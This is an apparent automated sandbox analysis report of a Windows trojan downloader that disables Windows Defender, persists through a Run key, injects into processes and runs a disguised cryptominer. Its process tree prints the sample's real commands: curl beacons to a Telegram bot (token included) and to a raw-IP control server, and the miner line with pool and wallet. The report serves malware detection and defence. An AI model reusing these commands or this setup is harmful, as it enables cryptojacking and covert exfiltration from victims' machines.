99c01d1fd62da5b29fb9b5335319ae532d30679f39096284ee2da359a411b529

Analysis

max time kernel
155s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
22/02/2022, 19:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe
Size 3.1MB
Sample220222-x4dk5aeacj
SHA256 99c01d1fd62da5b29fb9b5335319ae532d30679f39096284ee2da359a411b529
MD5 f74f67f98a700f27d7a894a630e73077
SHA1 f584f846f46cce8c6697f2cba01f5184360a34a1
SHA512 f9cc772244d12a573d73938c4e6f7d5faec4d83ae9330203d100141d82a01aaef73551e6076a9f7932ba87eae4ec44f5e3e13d4cb6b11e2514ad80c67e8cb796
MD5 SHA1 SHA512

Score

10^/10

evasion persistence trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Downloads MZ/PE file

Executes dropped EXE 43 IoCs

pid	Process
4720	RegHost.exe
3524	RegHost.exe
1096	RegHost.exe
3272	RegHost.exe
4880	RegHost.exe
2392	RegHost.exe
3852	RegHost.exe
3700	RegHost.exe
3680	RegHost.exe
2900	RegHost.exe
1068	RegHost.exe
5072	RegHost.exe
2660	RegHost.exe
4400	RegHost.exe
3652	RegHost.exe
4588	RegHost.exe
1776	RegHost.exe
1860	RegHost.exe
4484	RegHost.exe
1620	RegHost.exe
4860	RegHost.exe
4812	RegHost.exe
4088	RegHost.exe
5092	RegHost.exe
1116	RegHost.exe
2872	RegHost.exe
3636	RegHost.exe
4360	RegHost.exe
4444	RegHost.exe
2324	RegHost.exe
3216	RegHost.exe
4380	RegHost.exe
5056	RegHost.exe
4188	RegHost.exe
2732	RegHost.exe
2740	RegHost.exe
3176	RegHost.exe
1568	RegHost.exe
4652	RegHost.exe
660	RegHost.exe
1988	RegHost.exe
804	RegHost.exe
1632	RegHost.exe

Adds Run key to start application 2 TTPs 44 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	RegHost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
1828	bfsvc.exe
1828	bfsvc.exe
1908	bfsvc.exe
1908	bfsvc.exe
3976	bfsvc.exe
3976	bfsvc.exe
1816	bfsvc.exe
1816	bfsvc.exe
4588	bfsvc.exe
4588	bfsvc.exe
4368	bfsvc.exe
4368	bfsvc.exe
3436	bfsvc.exe
3436	bfsvc.exe
4984	bfsvc.exe
4984	bfsvc.exe
4488	bfsvc.exe
4488	bfsvc.exe
4188	bfsvc.exe
4188	bfsvc.exe
1776	bfsvc.exe
1776	bfsvc.exe
1124	bfsvc.exe
1124	bfsvc.exe
4716	bfsvc.exe
4716	bfsvc.exe
752	bfsvc.exe
752	bfsvc.exe
1248	bfsvc.exe
1248	bfsvc.exe
2376	bfsvc.exe
2376	bfsvc.exe
984	bfsvc.exe
984	bfsvc.exe
4960	bfsvc.exe
4960	bfsvc.exe
4844	bfsvc.exe
4844	bfsvc.exe
4488	bfsvc.exe
4488	bfsvc.exe
3960	bfsvc.exe
3960	bfsvc.exe
2404	bfsvc.exe
2404	bfsvc.exe
1840	bfsvc.exe
1840	bfsvc.exe
3520	bfsvc.exe
3520	bfsvc.exe
532	bfsvc.exe
532	bfsvc.exe
4048	bfsvc.exe
4048	bfsvc.exe
1436	bfsvc.exe
1436	bfsvc.exe
3524	bfsvc.exe
3524	bfsvc.exe
4236	bfsvc.exe
4236	bfsvc.exe
2516	bfsvc.exe
2516	bfsvc.exe
2172	bfsvc.exe
2172	bfsvc.exe
4820	bfsvc.exe
4820	bfsvc.exe

Suspicious use of SetThreadContext 64 IoCs

description	pid	Process	procid_target
PID 5052 set thread context of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 set thread context of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 4720 set thread context of 1908	4720	RegHost.exe	92
PID 4720 set thread context of 4068	4720	RegHost.exe	93
PID 3524 set thread context of 3976	3524	RegHost.exe	100
PID 3524 set thread context of 220	3524	RegHost.exe	101
PID 1096 set thread context of 1816	1096	RegHost.exe	110
PID 1096 set thread context of 2044	1096	RegHost.exe	112
PID 3272 set thread context of 4588	3272	RegHost.exe	123
PID 3272 set thread context of 432	3272	RegHost.exe	125
PID 4880 set thread context of 4368	4880	RegHost.exe	132
PID 4880 set thread context of 4828	4880	RegHost.exe	134
PID 2392 set thread context of 3436	2392	RegHost.exe	142
PID 2392 set thread context of 3120	2392	RegHost.exe	144
PID 3852 set thread context of 4984	3852	RegHost.exe	151
PID 3852 set thread context of 2588	3852	RegHost.exe	153
PID 3700 set thread context of 4488	3700	RegHost.exe	159
PID 3700 set thread context of 1600	3700	RegHost.exe	161
PID 3680 set thread context of 4188	3680	RegHost.exe	169
PID 3680 set thread context of 4860	3680	RegHost.exe	171
PID 2900 set thread context of 1776	2900	RegHost.exe	178
PID 2900 set thread context of 3384	2900	RegHost.exe	180
PID 1068 set thread context of 1124	1068	RegHost.exe	186
PID 1068 set thread context of 1744	1068	RegHost.exe	188
PID 5072 set thread context of 4716	5072	RegHost.exe	194
PID 5072 set thread context of 3136	5072	RegHost.exe	195
PID 2660 set thread context of 752	2660	RegHost.exe	202
PID 2660 set thread context of 4252	2660	RegHost.exe	204
PID 4400 set thread context of 1248	4400	RegHost.exe	210
PID 4400 set thread context of 1220	4400	RegHost.exe	212
PID 3652 set thread context of 2376	3652	RegHost.exe	218
PID 3652 set thread context of 4688	3652	RegHost.exe	220
PID 4588 set thread context of 984	4588	RegHost.exe	226
PID 4588 set thread context of 5064	4588	RegHost.exe	227
PID 1776 set thread context of 4960	1776	RegHost.exe	234
PID 1776 set thread context of 5076	1776	RegHost.exe	235
PID 1860 set thread context of 4844	1860	RegHost.exe	242
PID 1860 set thread context of 4516	1860	RegHost.exe	243
PID 4484 set thread context of 4488	4484	RegHost.exe	250
PID 4484 set thread context of 3444	4484	RegHost.exe	252
PID 1620 set thread context of 3960	1620	RegHost.exe	258
PID 1620 set thread context of 4152	1620	RegHost.exe	259
PID 4860 set thread context of 2404	4860	RegHost.exe	266
PID 4860 set thread context of 3828	4860	RegHost.exe	267
PID 4812 set thread context of 1840	4812	RegHost.exe	274
PID 4812 set thread context of 4548	4812	RegHost.exe	276
PID 4088 set thread context of 3520	4088	RegHost.exe	283
PID 4088 set thread context of 220	4088	RegHost.exe	284
PID 5092 set thread context of 532	5092	RegHost.exe	291
PID 5092 set thread context of 4652	5092	RegHost.exe	292
PID 1116 set thread context of 4048	1116	RegHost.exe	299
PID 1116 set thread context of 4516	1116	RegHost.exe	300
PID 2872 set thread context of 1436	2872	RegHost.exe	307
PID 2872 set thread context of 1620	2872	RegHost.exe	308
PID 3636 set thread context of 3524	3636	RegHost.exe	315
PID 3636 set thread context of 4172	3636	RegHost.exe	317
PID 4360 set thread context of 4236	4360	RegHost.exe	323
PID 4360 set thread context of 4244	4360	RegHost.exe	324
PID 4444 set thread context of 2516	4444	RegHost.exe	331
PID 4444 set thread context of 1452	4444	RegHost.exe	333
PID 2324 set thread context of 2172	2324	RegHost.exe	339
PID 2324 set thread context of 5076	2324	RegHost.exe	340
PID 3216 set thread context of 4820	3216	RegHost.exe	347
PID 3216 set thread context of 3848	3216	RegHost.exe	349

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4828	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
4068	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe
220	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 1168	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	82
PID 5052 wrote to memory of 1168	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	82
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 1828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	84
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 5052 wrote to memory of 4828	5052	SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe	85
PID 4828 wrote to memory of 964	4828	explorer.exe	88
PID 4828 wrote to memory of 964	4828	explorer.exe	88
PID 4828 wrote to memory of 4720	4828	explorer.exe	90
PID 4828 wrote to memory of 4720	4828	explorer.exe	90
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 1908	4720	RegHost.exe	92
PID 4720 wrote to memory of 4068	4720	RegHost.exe	93
PID 4720 wrote to memory of 4068	4720	RegHost.exe	93
PID 4720 wrote to memory of 4068	4720	RegHost.exe	93

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader44.40553.568.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Windows\SYSTEM32\curl.exe
  curl "https://api.telegram.org/bot5080001439:AAG7BVkF-krFepD9IjbwPiFpb2yvSYAPGIE/sendMessage?chat_id=-716566459&text=%F0%9F%99%88%20New%20worker!%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0AWorker%20Tag:%20None%0A(Windows%20Defender%20has%20been%20turned%20off)"
  2⤵
  PID:1168
- C:\Windows\bfsvc.exe
  C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1828
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\SYSTEM32\curl.exe
    curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
    3⤵
    PID:964
- - C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4720
  - - C:\Windows\bfsvc.exe
      C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:1908
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4068
    - - C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        5⤵
        
        PID:2412
    - - C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3524
      - C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        6⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3976
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:220
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        7⤵
        
        PID:4960
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:1096
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        8⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1816
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        8⤵
        
        PID:2044
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        9⤵
        
        PID:2596
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3272
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        10⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4588
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe "123qWef0" "Microsoft%20Basic%20Display%20Adapter" "None" "etc"
        10⤵
        
        PID:432
        
        C:\Windows\SYSTEM32\curl.exe
        
        curl "http://185.137.234.33:8000/core.php?u_key=123qWef0&gpu=Microsoft%20Basic%20Display%20Adapter&worker=None&coin=etc&hash=0.0"
        11⤵
        
        PID:4300
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        11⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4880
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x6A7B383b4c9eDA1348cc1fD31FDefcC6f20C05f5 -coin etc -worker bigdickzxc -cclock +500 -cvddc +500
        12⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4368
        
        C:\Windows\explorer.exe
        
